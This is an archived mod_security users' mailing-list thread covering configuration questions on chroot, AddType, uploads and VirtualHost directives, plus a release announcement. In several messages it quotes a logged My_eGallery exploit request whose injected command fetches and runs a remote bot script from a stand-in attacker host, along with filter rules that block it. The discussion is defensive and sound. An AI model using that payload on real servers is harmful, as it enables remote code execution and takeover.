mod-security-users — General discussion about mod_security

[mod-security-users] AddHandler versus AddType

[Hugh B. <hbe...@ya...>]

Hi,

The pdf manual says on page 30 that logging will not work if php is configured as :

AddType application/x-httpd-php .php

It says that you must instead use :

AddHandler application/x-httpd-php .php

However in my testing it seems that mod_security will not scan php pages at all if you are using 

AddType 

and 

SecFilterEngine DynamicOnly

Is this true? Please let me know if I missed this somewhere in the manual. My reading made me
think that I really only needed to use AddHandler if I wanted to log the php scans.

Is there anyway to use AddType and have mod_security still work. I know it is a pretty easy change
to make but I've got several production servers that are running it with AddType and I'm a bit
paranoid to change it to AddHandler - never know what kind of odd problems this might cause. I've
learned the hard way that small innocent changes can sometimes cause big problems down the line.
If I could keep using AddType I prefer to.

Thanks,

H.



		
_______________________________
Do you Yahoo!?
Win 1 of 4,000 free domain names from Yahoo! Enter now.
http://promotions.yahoo.com/goldrush

Re: [mod-security-users] rule for common My_eGallery exploit

[Ivan R. <iv...@we...>]

> However when I look at some of the example rules on the website, these seem to be handled as:
> 
> wget\x20
> 
> I assume the \x is a placeholder for %

  They do the same thing. % is used in URL encoding, while \x is
  used in regular expressions. In both cases, the two characters
  that follow are a hexidecimal representation of the character.

  A simple space does not have to be encoded with \x20, but some
  other characters (\x0a, \x0d) do.

-- 
ModSecurity (http://www.modsecurity.org)
[ Open source IDS for Web applications ]

Re: [mod-security-users] rule for common My_eGallery exploit

[Hugh B. <hbe...@ya...>]

--- Ivan Ristic <iv...@we...> wrote:

> Hugh Beaumont wrote:

> > Does anyone have a good rule to catch the following types of requests:
> > 
> > GET
>
/modules/My_eGallery/public/displayCategory.php?basepath=http://hacker.com/spy.gif?&cmd=cd%20/var/tmp;wget%20http://www.hacker2.org/bot.txt;perl%20bot.txt
> > 
>   Assuming the basepath parameter is not supposed to be used from the
>   outside at all, the correct approach is to reject all requests
>   that contain this parameter:
> 
>   SecFilterSelective ARG_basepath "!^$"
> 

Thanks so much - very helpful!

I have another question if you do not mind :

I'm trying to block all requests of the type :

"wget somefile"

"cat somefile"

etc.

These usually hit the logs as:

wget%20somefile

However when I look at some of the example rules on the website, these seem to be handled as:

wget\x20

I assume the \x is a placeholder for %

I currently use :

SecFilterSelective THE_REQUEST "wget\x20"

What would the recommended way of blocking this type of stuff be?

What exactly does \x mean in a filter?

Thanks again!




		
_______________________________
Do you Yahoo!?
Win 1 of 4,000 free domain names from Yahoo! Enter now.
http://promotions.yahoo.com/goldrush

Re: [mod-security-users] Idea/feature request

[Ivan R. <iv...@we...>]

Vincent Deffontaines wrote:

> Greetings,
> 
> What if mod_security would, by default, deny access to files that are
> 777/writable by the httpd user? Could be considered an interesting
> feature, especially if it could be setup on a file per file basis, with
> the usual apache inheritance system...

  It is a very good idea, similar to the PHP safe mode functionality.
  It would probably prevent a whole class of attacks targeted toward
  the exploitation of configuration weaknesses, and application
  filesystem-writing vulnerabilities.

  There will be a small performance penalty but once we get past
  that there are other checks that can be added too. For example,
  the web server could refuse to serve files that are owned by
  users other than one named user (I was thinking about the
  infamous apache.org compromise a while back).


> I have no clue whether this would be possible to implement into
> mod_security, as it doesn't manipulate filesystem objects (or does it?)

  It is possible, and I don't think it will be particularly
  difficult. Thanks for the tip, I've added this feature to my
  TODO list.

-- 
ModSecurity (http://www.modsecurity.org)
[ Open source IDS for Web applications ]

Re: [mod-security-users] rule for common My_eGallery exploit

[Ivan R. <iv...@we...>]

Hugh Beaumont wrote:
> Hi,
> 
> Does anyone have a good rule to catch the following types of requests:
> 
> GET
> /modules/My_eGallery/public/displayCategory.php?basepath=http://hacker.com/spy.gif?&cmd=cd%20/var/tmp;wget%20http://www.hacker2.org/bot.txt;perl%20bot.txt
> 
> This is a very common exploit against phpnuke's eGallery module.
> 
> I am new to mod_security and am not sure what the best rule would be to block these requests
> without also blocking other requests with the work basepath in it.
> 
> I think the key part would be something like:
> 
> block everything with the string:
> 
> ?basepath
> 
> or
> 
> ?basepath=http
> 
> Any ideas?

  Assuming the basepath parameter is not supposed to be used from the
  outside at all, the correct approach is to reject all requests
  that contain this parameter:

  SecFilterSelective ARG_basepath "!^$"

  If there are valid cases where this parameter is used then you'll need
  to give us some examples of valid uses. We could then create a rule
  that accepts only valid (safe) requests and rejects attack.

  If the only way to exploit the application is by fetching and
  executing a remote page then a simple:

  SecFilterSelective ARG_basepath "!http:"

  will probably do. But I suspect users can also use the basepath
  parameter to read arbitrary files from the server, which is probably
  something you don't want either.

-- 
ModSecurity (http://www.modsecurity.org)
[ Open source IDS for Web applications ]

[mod-security-users] rule for common My_eGallery exploit

[Hugh B. <hbe...@ya...>]

Hi,

Does anyone have a good rule to catch the following types of requests:

GET
/modules/My_eGallery/public/displayCategory.php?basepath=http://hacker.com/spy.gif?&cmd=cd%20/var/tmp;wget%20http://www.hacker2.org/bot.txt;perl%20bot.txt

This is a very common exploit against phpnuke's eGallery module.

I am new to mod_security and am not sure what the best rule would be to block these requests
without also blocking other requests with the work basepath in it.

I think the key part would be something like:

block everything with the string:

?basepath

or

?basepath=http

Any ideas?

Thanks in advance!



		
_______________________________
Do you Yahoo!?
Win 1 of 4,000 free domain names from Yahoo! Enter now.
http://promotions.yahoo.com/goldrush

[mod-security-users] Idea/feature request

[Vincent D. <vi...@gr...>]

Greetings,

What if mod_security would, by default, deny access to files that are
777/writable by the httpd user? Could be considered an interesting
feature, especially if it could be setup on a file per file basis, with
the usual apache inheritance system...

I have no clue whether this would be possible to implement into
mod_security, as it doesn't manipulate filesystem objects (or does it?)

Anyway, just an idea that was passing on #apache...


Cheers,

Vincent

Re: [mod-security-users] chroot and <VirtualHost>

[Ivan R. <iv...@we...>]

UpFront Technology wrote:

> I have noticed that any virtualhost files INSIDE the jail can not be
> accessed when the chroot directive is enabled.

  Can't be accessed how? Through tbe web server or some application?


> Am I missing something?  I
> thought all data needed to be INSIDE the jail.

  After the chroot whatever is outside the jail is not
  accessable to the web server/application.

-- 
ModSecurity (http://www.modsecurity.org)
[ Open source IDS for Web applications ]

[mod-security-users] chroot and <VirtualHost>

[UpFront T. <upf...@rr...>]

I have noticed that any virtualhost files INSIDE the jail can not be
accessed when the chroot directive is enabled.  Am I missing something?  I
thought all data needed to be INSIDE the jail.

Joe

UpFront Technology

Re: [mod-security-users] Chroot problem

[Ivan R. <iv...@we...>]

die...@b-... wrote:

> Thank u very much.
> 
> The error message has disappeard.
> 
> It's quite strange that you can not write the entire path in de configuation
> file to access to the pid !

  It's not strange, that's how chroot works. You can no longer use the
  entire path after the chroot(2) call has been made.


> I have now an other problem :
> 
> The apache is started, the process runs but the apache does not respond to any
> request : there are no child processes......
> 
> In the access log file, there is no trace of request and in the error log file,
> there is no error but there is a new message with the level (emergency) : No
> such file or directory : Couldn't create accept lock !!!!
> 
> If someone has an idea......

  Send the httpd.conf and the filesystem layout to the list
  and we might be able to help.

-- 
ModSecurity (http://www.modsecurity.org)
[ Open source IDS for Web applications ]

Re(2): [mod-security-users] Chroot problem

[<die...@b-...>]

Thank u very much.

The error message has disappeard.

It's quite strange that you can not write the entire path in de configuation
file to access to the pid !

I have now an other problem :

The apache is started, the process runs but the apache=20does not respond=
 to any
request : there are no child processes......

In the access log file, there is no trace of request and in the error log=
 file,
there is no error but there is a new message with the level (emergency) :=
 No
such file or directory : Couldn't create accept lock !!!!

If someone has an idea......

Thanks

Di=E9go




Ivan Ristic  (06/08/2004  11:01):
>die...@b-... wrote:
>> Hi,
>>
>> I have a problem with the Chroot directive.
>>
>> In my configuration file, i've writed the two directives that follow :
>>
>> Pidfile /opt/web/pids/pid-secure
>> .
>> .
>> SecChrootDir /opt/web
>>
>> And my apache  does not start : in de errot log file, i can read :
>>
>> No such file or directory:could not create /opt/web/pids/pid-secure
>>
>> I'm sure that the rights are correct on the folders and when i delete the
>> SecChrootDir directive my apache works without problem.
>
>  When you configure Apache like that it will attempt
>  to create the pid file at /opt/web/opt/web/pids/pid-secure.
>
>  The following should work provided there are no other problems:
>
>  Pidfile /pids/pid-secure
>
>--
>ModSecurity (http://www.modsecurity.org)
>[ Open source IDS for Web applications ]

Re: [mod-security-users] Chroot problem

[Ivan R. <iv...@we...>]

die...@b-... wrote:
> Hi,
> 
> I have a problem with the Chroot directive.
> 
> In my configuration file, i've writed the two directives that follow :
> 
> Pidfile /opt/web/pids/pid-secure
> .
> .
> SecChrootDir /opt/web
> 
> And my apache  does not start : in de errot log file, i can read :
> 
> No such file or directory:could not create /opt/web/pids/pid-secure
> 
> I'm sure that the rights are correct on the folders and when i delete the
> SecChrootDir directive my apache works without problem.

  When you configure Apache like that it will attempt
  to create the pid file at /opt/web/opt/web/pids/pid-secure.

  The following should work provided there are no other problems:

  Pidfile /pids/pid-secure

-- 
ModSecurity (http://www.modsecurity.org)
[ Open source IDS for Web applications ]

[mod-security-users] Chroot problem

[<die...@b-...>]

Hi,

I have a problem with the Chroot directive.

In my configuration file, i've writed the two directives that follow :

Pidfile /opt/web/pids/pid-secure
=2E
=2E
SecChrootDir /opt/web

And my apache  does not start : in de errot log file, i can read :

No such file or directory:could not create /opt/web/pids/pid-secure

I'm sure that the rights are correct on the folders and when i delete the
SecChrootDir directive my apache works without problem.

I uses an apache 2.0.48 and mod-security 1.8.4. on solaris 9

Could you help my.

BR

Di=E9go

Re: [mod-security-users] JPG upload problem

[Ivan R. <iv...@we...>]

Tkachenko Alexei wrote:
> Peace be with you,
> 
> I have the following settings:
> ***********************
> SecFilterScanPOST  On
> SecFilter  "\.\./"
> ***********************
> But these filters does not allow some JPG files to be uploaded.
> Is there any way to disable this checking for JPG files uploading only?

  Hi,

  First make sure you are running the latest version of mod_security.
  There was a bug in one of the previous versions that would manifest
  itself like you are describing.

  If that's not the problem then send us as much information
  about your configuration as possible and we'll track the
  problem down. The best thing to do is to name your versions,
  send the configuration, turn the debug level to 9 and send
  the debug log and the audit log of a problematic upload.

-- 
ModSecurity (http://www.modsecurity.org)
[ Open source IDS for Web applications ]

[mod-security-users] JPG upload problem

[Tkachenko A. <al...@tk...>]

Peace be with you,

I have the following settings:
***********************
SecFilterScanPOST  On
SecFilter  "\.\./"
***********************
But these filters does not allow some JPG files to be uploaded.
Is there any way to disable this checking for JPG files uploading only?

-----
Regards,
Alex A. Tkachenko

 

Re: [mod-security-users] chroot trouble

[Ivan R. <iv...@we...>]

UpFront Technology wrote:

> Hello All.
> 
> I am having trouble using the newest release 1.8.4 chroot functionality.  I
> run apache in a chroot...everything is fine, about 24-48 hours later, apache
> shuts down, the only error message in am getting from error_log is:
> 
> httpd: could not open document config file /etc/httpd/conf/httpd.conf
> 
> I am assuming that the chroot (/chroot/apache) can't read the file outside
> of the chroot.

  Sounds right. Is there an automated script that tries to restart
  Apache? Apache can't restart if the configuration file is out of
  its reach. You either have to stop and then start it, or keep
  the httpd.conf inside the jail.

-- 
ModSecurity (http://www.modsecurity.org)
[ Open source IDS for Web applications ]

[mod-security-users] chroot trouble

[UpFront T. <upf...@rr...>]

Hello All.

I am having trouble using the newest release 1.8.4 chroot functionality.  I
run apache in a chroot...everything is fine, about 24-48 hours later, apache
shuts down, the only error message in am getting from error_log is:

httpd: could not open document config file /etc/httpd/conf/httpd.conf

I am assuming that the chroot (/chroot/apache) can't read the file outside
of the chroot.  Help is appreciated.  I am sure I am doing something stupid.

Where exactly should the apache files be stored for proper chroot
functionality?

Joe
UpFront Technology

Re: [mod-security-users] Not allowed in VirtualHost ?

[Sandy K. <s_k...@ya...>]

--- Ivan Ristic <iv...@we...> wrote:

>   Just to clarify: you *can* use most of
> mod_security directives
>   per-host, per-directory, per-location, etc. The
> restriction we
>   discussed only applies to the two directives you
> mentioned,
>   SecServerResponseToken and SecServerSignature.
> 

Ah - there was my confusion.  Thanks for the
clarification, and for the great tool!

SK



		
__________________________________
Do you Yahoo!?
Y! Messenger - Communicate in real time. Download now. 
http://messenger.yahoo.com

Re: [mod-security-users] Not allowed in VirtualHost ?

[Ivan R. <iv...@we...>]

>>  That's correct. Just move them outside the VirtualHost area
>>  to make it work again.
>>  
>>
> 
> This has changed since 1.7. Am I correct?

  Yes.


> Since a server could have many different virtual hosts and might not
> need not to deploy mod_security in all of them or have different
> deployment profiles, I would suggest that in a future version of
> mod_security administrators are allowed to define rules inside virtual
> hosts.

  Just to clarify: you *can* use most of mod_security directives
  per-host, per-directory, per-location, etc. The restriction we
  discussed only applies to the two directives you mentioned,
  SecServerResponseToken and SecServerSignature.

-- 
ModSecurity (http://www.modsecurity.org)
[ Open source IDS for Web applications ]

Re: [mod-security-users] Not allowed in VirtualHost ?

[Dionysios G. S. <ds...@no...>]

Ivan Ristic wrote:

>Dionysios G. Synodinos wrote:
>  
>
>>After upgrading mod_security from 1.7.6 to 1.8.3 I get the following
>>errors:
>>
>>---------------
>>Starting apache.
>>Syntax error on line 1356 of /usr/local/etc/apache/httpd.conf:
>>SecServerResponseToken not allowed in VirtualHost
>>Syntax error on line 1359 of /usr/local/etc/apache/httpd.conf:
>>SecServerSignature not allowed in VirtualHost
>>    
>>
>
>  That's correct. Just move them outside the VirtualHost area
>  to make it work again.
>  
>

This has changed since 1.7. Am I correct?

>  It is not possible to have different yet foolproof server
>  signature policies across different virtual hosts.
>  
>

Understood!

Since a server could have many different virtual hosts and might not 
need not to deploy mod_security in all of them or have different 
deployment profiles, I would suggest that in a future version of 
mod_security administrators are allowed to define rules inside virtual 
hosts.

Thank you for such a useful module,
Dionysios.

[mod-security-users] [ANNOUNCE] mod_security 1.8.4 released

[Ivan R. <iv...@we...>]

Mod_security 1.8.4 has been released. It is available for immediate
download from:

   http://www.modsecurity.org/download/

This maintenance release relaxes the multipart/form-data encoding
validation to allow for broken clients (IE), fixes the mod_dir and
mod_fastcgi compatibility problems in the Apache 2.x version, fixes the
ARGS variable to test against the correct content, and fixes the problem
that causes a crash when the default response action is not explicitly
defined (via SecFilterDefaultAction in the configuration).

About mod_security
------------------
Mod_security is an Apache module whose purpose is to protect
vulnerable applications and reject human or automated attacks.
It is an open source intrusion detection and prevention system
for Apache. In addition to request filtering, it also creates Web
application audit logs. Requests are filtered using regular
expressions. Some of the things possible are:

 * Apply filters against any part of the request (URI,
   headers, either GET or POST)
 * Apply filters against individual parameters
 * Reject SQL injection attacks
 * Reject Cross site scripting attacks

With few general rules mod_security can protect from both
known and unknown vulnerabilities.


Changes (v1.8.4)
----------------

  * BUG When the ARGS variable was used in a multipart
    request it used to test against the raw payload. Now
    it only works on the request parameters (names & values),
    just as with non-multipart requests.

  * BUG mod_security would crash when the default action
    is not specified in the configuration file.

  * Fixed a problem when Apache loses our input filter on
    fast redirects (e.g. mod_dir) and subrequests (e.g.
    mod_fastcgi).

  * Relaxed the validation of multipart/form-data requests
    to allow broken clients (i.e. Internet Explorer) to work.

-- 
ModSecurity (http://www.modsecurity.org)
[ Open source IDS for Web applications ]

Re: [mod-security-users] Not allowed in VirtualHost ?

[Ivan R. <iv...@we...>]

Sandy Koufax wrote:

> Is there a reason that this feature was removed from
> the 1.8 release?  It's actually very handy to have.

  I mentioned the reason already - it can't be done reliably.
  There are two places where we can change the server signature:
  upon Apache child initialization, and before a request is
  processed. Malformed requests never reach the processing phase
  so whatever signature is configured in the child initilization
  phase is sent back to the user.

  So let's say an attacker suspects mod_security is installed. To
  confirm the suspicion he would only need to send a malformed
  request and compare the Server field with a value received in
  a valid request.

-- 
ModSecurity (http://www.modsecurity.org)
[ Open source IDS for Web applications ]

Re: [mod-security-users] Not allowed in VirtualHost ?

[Sandy K. <s_k...@ya...>]

Is there a reason that this feature was removed from
the 1.8 release?  It's actually very handy to have.

SK


> -----Original Message-----
> From: Ivan Ristic [mailto:iv...@we...]
> Sent: Wednesday, July 28, 2004 5:42 AM
> To: Dionysios G. Synodinos
> Cc: mod...@li...
> Subject: Re: [mod-security-users] Not allowed in
> VirtualHost ?
> 
> 
> Dionysios G. Synodinos wrote:
> > After upgrading mod_security from 1.7.6 to 1.8.3 I
> get the following
> > errors:
> > 
> > ---------------
> > Starting apache.
> > Syntax error on line 1356 of
> /usr/local/etc/apache/httpd.conf:
> > SecServerResponseToken not allowed in VirtualHost
> > Syntax error on line 1359 of
> /usr/local/etc/apache/httpd.conf:
> > SecServerSignature not allowed in VirtualHost
> 
>   That's correct. Just move them outside the
> VirtualHost area
>   to make it work again.
> 
>   It is not possible to have different yet foolproof
> server
>   signature policies across different virtual hosts.
> 
> -- 
> ModSecurity (http://www.modsecurity.org)
> [ Open source IDS for Web applications ]
> 
> 
>
-------------------------------------------------------
> This SF.Net email is sponsored by BEA Weblogic
> Workshop
> FREE Java Enterprise J2EE developer tools!
> Get your free copy of BEA WebLogic Workshop 8.1
> today.
>
http://ads.osdn.com/?ad_id=4721&alloc_id=10040&op=click
> _______________________________________________
> mod-security-users mailing list
> mod...@li...
>
https://lists.sourceforge.net/lists/listinfo/mod-security-users
> 



		
__________________________________
Do you Yahoo!?
New and Improved Yahoo! Mail - Send 10MB messages!
http://promotions.yahoo.com/new_mail 

Re: [mod-security-users] Not allowed in VirtualHost ?

[Ivan R. <iv...@we...>]

Dionysios G. Synodinos wrote:
> After upgrading mod_security from 1.7.6 to 1.8.3 I get the following
> errors:
> 
> ---------------
> Starting apache.
> Syntax error on line 1356 of /usr/local/etc/apache/httpd.conf:
> SecServerResponseToken not allowed in VirtualHost
> Syntax error on line 1359 of /usr/local/etc/apache/httpd.conf:
> SecServerSignature not allowed in VirtualHost

  That's correct. Just move them outside the VirtualHost area
  to make it work again.

  It is not possible to have different yet foolproof server
  signature policies across different virtual hosts.

-- 
ModSecurity (http://www.modsecurity.org)
[ Open source IDS for Web applications ]

[mod-security-users] Not allowed in VirtualHost ?

[Dionysios G. S. <ds...@no...>]

After upgrading mod_security from 1.7.6 to 1.8.3 I get the following errors:

---------------
Starting apache.
Syntax error on line 1356 of /usr/local/etc/apache/httpd.conf:
SecServerResponseToken not allowed in VirtualHost
Syntax error on line 1359 of /usr/local/etc/apache/httpd.conf:
SecServerSignature not allowed in VirtualHost